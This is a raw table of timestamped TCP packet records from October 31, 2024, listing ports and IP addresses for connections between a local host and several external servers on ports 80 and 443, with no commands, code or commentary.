Oct 31, 2024 20:52:18.041613102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041619062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041623116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041644096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041673899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041701078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041707039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041718006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041738033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041743994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041749954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041755915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041760921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041764975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041786909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041802883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041806936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041845083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041855097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041867018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041874886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041892052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041897058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041903973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041934967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041965008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041970968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041981936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041987896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042016029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042042017 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042061090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042068005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042073011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042079926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042085886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042090893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042112112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042141914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042176962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042184114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042200089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042218924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042220116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042227983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042232990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042239904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042244911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042246103 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042251110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042273998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042299986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042367935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042373896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042385101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042390108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042419910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.042922020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042928934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042939901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042949915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.042977095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043000937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043039083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043056011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043059111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043064117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043066025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043071032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043076038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043081999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043106079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043131113 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043170929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043178082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043189049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043195009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043201923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043212891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043226004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043232918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043239117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043243885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043248892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043253899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043260098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043272018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043292046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043294907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043298006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043332100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043386936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043392897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043399096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043410063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043416977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043426037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043430090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043445110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043452024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043464899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043471098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043473959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043478966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043512106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043538094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043551922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043557882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043582916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043589115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043596029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043601036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043606997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043628931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043653011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043668985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043674946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043694019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043704987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043711901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043716908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043728113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043731928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043740034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043771029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043780088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043786049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043797970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043831110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.043951035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043963909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043972015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.043996096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044025898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044061899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044068098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044075012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044148922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044153929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044169903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044177055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044183016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044194937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044220924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044226885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044231892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044269085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044302940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044310093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044322014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044327021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044333935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044343948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044349909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044353008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044368029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044375896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044379950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044389963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044393063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044399023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044423103 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044445992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044569016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044576883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044653893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044653893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044661999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044667006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044673920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044707060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044730902 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044737101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044744015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044754982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044775009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044784069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044785976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044789076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044795990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044811010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044837952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044863939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044871092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044882059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044895887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044909954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044912100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044914961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044920921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.044931889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.044958115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.509754896 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:18.509835958 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:18.509896994 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:18.526264906 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:18.526279926 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:18.732611895 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:18.732635021 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:18.732975006 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:18.733505011 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:18.733519077 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.377526045 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.377633095 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.380037069 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.380043983 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.380248070 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.391124964 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.391321898 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.391426086 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.928433895 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.928507090 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:19.928617954 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.984973907 CET	49746	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:19.984989882 CET	443	49746	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.298074007 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:20.298403978 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:20.303416014 CET	80	49747	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:20.303478956 CET	80	49737	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:20.303488016 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:20.303520918 CET	49737	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:20.303766012 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:20.310632944 CET	80	49747	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:20.341479063 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.341521025 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.341613054 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.342176914 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.342190027 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.965701103 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.965785027 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.967297077 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.967308044 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.967639923 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.980545044 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.980689049 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.980726004 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:20.980794907 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:20.980804920 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:21.176803112 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:21.181931019 CET	80	49749	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:21.182012081 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:21.182166100 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:21.189366102 CET	80	49749	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:21.240304947 CET	80	49747	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:21.240408897 CET	49747	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:21.243833065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:21.244235992 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:21.252521992 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:21.252635002 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:21.252751112 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:21.255644083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:21.255729914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:21.257805109 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:21.706958055 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:21.707099915 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:21.707161903 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:21.707411051 CET	49748	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:21.707427025 CET	443	49748	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:22.115123034 CET	80	49749	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:22.115192890 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:22.117690086 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:22.122756958 CET	80	49749	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:22.199059010 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199078083 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199120045 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199147940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199148893 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.199161053 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199219942 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.199219942 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.199222088 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199239016 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199254990 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199280977 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.199299097 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.199358940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199373960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.199414968 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.204210043 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.204231977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.204250097 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.204289913 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.204307079 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365047932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365140915 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365176916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365194082 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365211964 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365226984 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365257025 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365264893 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365309000 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365315914 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365353107 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365360975 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365386009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365395069 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365420103 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365422964 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365458012 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365464926 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365492105 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365495920 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365533113 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365900993 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.365945101 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.365988016 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.366033077 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.423418999 CET	80	49749	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:22.425252914 CET	49749	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:22.490483999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490540981 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490592957 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490636110 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.490644932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490679026 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490727901 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490806103 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.490806103 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.490806103 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.490806103 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.490931988 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.490982056 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.491030931 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.491046906 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.491090059 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.491440058 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.491473913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.491487026 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.491517067 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.529887915 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.529923916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.529963017 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.529985905 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.532546997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.532603025 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.532773018 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.532828093 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.610805035 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.610831022 CET	80	49750	185.215.113.16	192.168.2.4
